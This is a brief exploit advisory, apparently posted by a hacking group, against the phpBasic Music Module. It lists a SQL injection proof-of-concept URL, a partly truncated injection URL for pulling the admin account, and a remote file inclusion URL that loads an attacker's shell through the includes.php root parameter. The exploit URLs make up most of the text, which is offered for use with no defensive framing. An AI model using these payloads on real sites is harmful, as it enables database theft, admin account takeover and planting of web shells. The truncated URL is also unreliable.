Software : phpBasic Music Module
Homepage : http://phpbasic.com/

1. SQL Injection by Xcross87 :
Proof of concept :
http://victim.com/phpbasic/?php=music&basic=view&id='[SQL Injection]
Xploit admin user account :
http://victim.com/phpbasic/?php=musi..._user/*%20%3C+

2. RFI by Alucar

Xploit :
http://victim.com/phpbasic/includes.php?root=[HCE_Shell]

=== ..:cross87::.. | ..::Alucar::.. | HCETeam Xploiter | HCEGroup.Vn ===